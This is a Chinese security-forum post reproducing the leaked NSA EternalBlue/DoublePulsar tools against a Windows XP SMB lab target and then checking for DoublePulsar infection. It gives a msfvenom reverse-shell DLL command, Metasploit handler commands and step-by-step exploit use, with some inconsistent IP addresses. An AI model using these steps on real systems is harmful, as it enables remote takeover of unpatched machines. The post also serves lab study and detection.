ShadowBroker释放的NSA工具部分（windows）fb.py复现和中招检查方法

hades / 2017-04-17 05:16:49 / 浏览数 4468 安全技术 漏洞分析 顶(0) 踩(0)

工具下载

> 1、Python2.6和pywin32安装包(注意都是32位的，不然会导致调用dll payload文件失败)：
>
> 复现python和pywin32安装包
>
> 2、Shadowbroker放出的NSA攻击工具
>
> https://github.com/misterch0c/shadowbroker
>
> 3、中招检查工具
>
> 中招检查工具
>
> 注：检查工具已重写了（各有所需，你可以根据自己需要修改）

一、 漏洞复现

1. 前期准备

攻击系统信息列表如下：

<table> IP 系统信息 用途 备注 192.168.0.102 Windows 7旗舰版 攻击机器 需安装python2.6.6&pywin32 192.168.0.103 Kali linux 2 用于生成攻击payload(反弹shell等)和控制反弹的shell会话 生成reverse shell 的dll 192.168.0.104 Windows xp p3 靶机 开启SMB服务，445端口(默认开启,默认防火墙已经过滤该类攻击，建议关闭系统防火墙后测试） </table>

在攻击机器中安装好python 2.6.6和pywin32,并设置好python的环境变量，以便我们在cmd中使用。

然后生成用于反弹shell的dll payload：

> msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=8089 -f dll > reverser_tcp.dll

在靶机上开启SMB服务（默认开启），查看服务是否生效，即看靶机上的445端口是否在监听（netstat -ano）：

2. 工具使用

在win 7攻击机器上cmd中切换到windows目录输入:python fb.py

创建攻击项目日志目录文件夹log_dirs并设置针对攻击目标192.168.0.105的攻击日志目录

然后输入：user eternalblue

一路回车直到需要选择对应的攻击系统，如下图：

选择1使用常规部署方式（也就是在靶机上建立后门的部署方式,带有模糊测试）

然后一路回车到确认攻击目标信息。

接着使用use doublepulsar，然后一直回车直到如下图需要选择攻击的服务类型：

我们攻击的服务类型是SMB，所以输入0，但是如果下次攻击的远程登陆，即RDP的时候输入1

然后选择攻击系统的版本：

这里我们输入与靶机对应的系统版本，输入1.

然后，需要选择想执行的动作：

这里我们输入2，执行由kali linux 2 msf生成的反弹shell的dll后门（放在C盘根目录）：

回到win 7 攻击机器上设置好对应的反弹shell 的dll文件（payload）路径。

然后在Kali linux 2上运行msfconsole:

> # msfconsole
>
> msf > use exploit/multi/handler
>
> msf > set LHOST 168.0.104
>
> msf > set LPORT 8089
>
> msf > set PAYLOAD windows/meterpreter/reverse_tcp
>
> msf > exploit

效果如下图：

上图说明了msf在监听本地端口（看是否有反弹的shell返回,并控制反弹的shell会话）。

在输入完用于反弹shell的路径后，需要输入反弹shell需要注入的进程和命令行进程，由于已经有默认设置，我们直接回车就好了（当然，在真实攻击中，最好是注入到其他

回车后发现已在攻击机器上成功执行并反弹了shell到Kali linux2机器上：

看到已成功利用了（即获取到winxp 靶机的cmd 会话权限）：

成功控制靶机（能够以管理员权限控制住机器）：

二、 中招检查方法

将中招检查工具转到想要检查的机器（需要python环境）上，通过cmd进入到工具所在目录：

运行python detect_doublepulsar_by_c4td0g.py 进行检查(默认检查本地（127.0.0.1）：

看到上图的DOUBLEPULSAR DETECTED!!!说明已经中招！

本次shadowbroker放出的工具影响情况如下：

三、 总结

1、有人说写这个工具的人（NSA的人）编程水平不咋地？

2、有人说这是13年泄露的？

3、有人说不会用！？

思考时间：

1、很多东西实用就好，这是有针对性的;

2、源码里已说是12年开发的（或许更早）;

3、坐等大牛写文章;

4、看了源码还有些目录不存在，说明还有戏看！

5、NSA在12年就写出了这样的工具，现在他们有的工具是什么样的？

原文链接：https://admin.gxhc520.cn/2017/04/16/shadowbroker_leak_nsa_tools_demo_and_hack_check_method/

点击收藏 | 0 关注 | 0
上一篇：伏宸验证码识别有没有视频教程啊 下一篇：深度分析CVE-2017-0007...
1. 0 条回复
- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板